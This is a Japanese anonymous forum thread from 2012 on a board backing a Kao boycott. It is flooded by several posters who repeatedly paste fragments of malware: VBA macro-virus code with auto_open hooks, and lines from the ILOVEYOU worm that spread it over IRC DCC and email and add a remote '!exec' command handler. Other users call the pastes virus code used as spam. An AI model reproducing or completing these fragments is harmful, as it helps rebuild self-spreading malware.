Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

174 :可愛い奥様:2012/03/26(月) 03:08:01.24 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

175 :可愛い奥様:2012/03/26(月) 03:13:29.72 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

176 :可愛い奥様:2012/03/26(月) 03:18:54.99 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

177 :可愛い奥様:2012/03/26(月) 03:24:11.28 ID:I+Wh3I+eO
>>101 K5は、あなたの自演じゃないの?
この前も、午前中は4時間で五つぐらいしか書き込みなかったのに、荒らしが来た直後に、あなたとお仲間が大勢出て来てたし。


178 :可愛い奥様:2012/03/26(月) 03:24:18.49 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

179 :可愛い奥様:2012/03/26(月) 03:26:36.88 ID:OHt28BCT0 ?2BP(0)
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub

180 :可愛い奥様:2012/03/26(月) 03:41:32.26 ID:M08ilsHK0
そういうのは数ヶ月ぐらいログ拾ってからサンプリングして言いなさいw

181 :可愛い奥様:2012/03/26(月) 05:22:48.96 ID:ewVC9crPO
スレ潰しにしても徹底してる訳でもなく。たいして効果ある訳でもないものを繰り返し貼って。
愉快犯にしても無能すぎ、なのさね〜。
さぁ〜、お風呂はいろ。

182 :可愛い奥様:2012/03/26(月) 05:26:28.17 ID:+G9WaG8WO
ですね。
お風呂行ってらっさい。

おはようございます。
奥様方、Wikiさん、お疲れ様です。
今日も元気に花王カネボウ不買不要です。

183 :可愛い奥様:2012/03/26(月) 05:33:10.72 ID:YYYW+UKg0
すいとん対応中
http://suiton.geo.jp/?t=i;i=7UXgqalHu%2FVgKG5iCvpyog

184 :可愛い奥様:2012/03/26(月) 06:23:35.23 ID:gmzXGiBC0
おはようございます

花王不買!

185 :可愛い奥様:2012/03/26(月) 06:28:00.83 ID:sFpIH4r/0 ?2BP(0)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

186 :可愛い奥様:2012/03/26(月) 06:30:21.22 ID:sFpIH4r/0 ?2BP(0)
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-

187 :可愛い奥様:2012/03/26(月) 06:32:58.53 ID:sFpIH4r/0 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

188 :可愛い奥様:2012/03/26(月) 06:35:10.94 ID:sFpIH4r/0 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

189 :可愛い奥様:2012/03/26(月) 06:39:07.37 ID:4f5m9Tp60
おはようございます、奥様方。
あらあら、昨夜に引き続き・・・って感じでしょうか。

>>138
ありがとう!おいしくいただきました♪
毎日お疲れさまです。

それでは奥様方、今週も花王フリーで健やかな日々を過ごしましょうね〜。

190 :可愛い奥様:2012/03/26(月) 06:40:55.70 ID:ooIp4xm30 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

191 :可愛い奥様:2012/03/26(月) 06:43:11.55 ID:ooIp4xm30 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

192 :可愛い奥様:2012/03/26(月) 06:45:19.28 ID:ooIp4xm30 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

193 :可愛い奥様:2012/03/26(月) 06:46:59.32 ID:gupBJwfD0
おはようございます
夜組の奥さま、お疲れさまでした

昨夜から大変卑劣な工作が続いていますね
ウイルスコードを執拗に貼りつけています

今日も 花王 不買 不要 不快 駆逐!



自分用今日のNGID

ID:SZpa+yQr0、ID:OHt28BCT0、ID:I+Wh3I+eO、ID:sFpIH4r/0、ID:ooIp4xm30


今日の働き者

ID:OHt28BCT0 28回 ←なんか手動っぽい
ID:sFpIH4r/0 4回 ←ウイルスコード
ID:ooIp4xm30 3回 ←ウイルスコード

194 :可愛い奥様:2012/03/26(月) 06:47:36.25 ID:ooIp4xm30 ?2BP(0)
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
C.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.VBS")
C.Copy(dirwin&"\Win32DLL.vbs")
document.write("<body onload=window();>")

348 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.02 2018/11/22 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)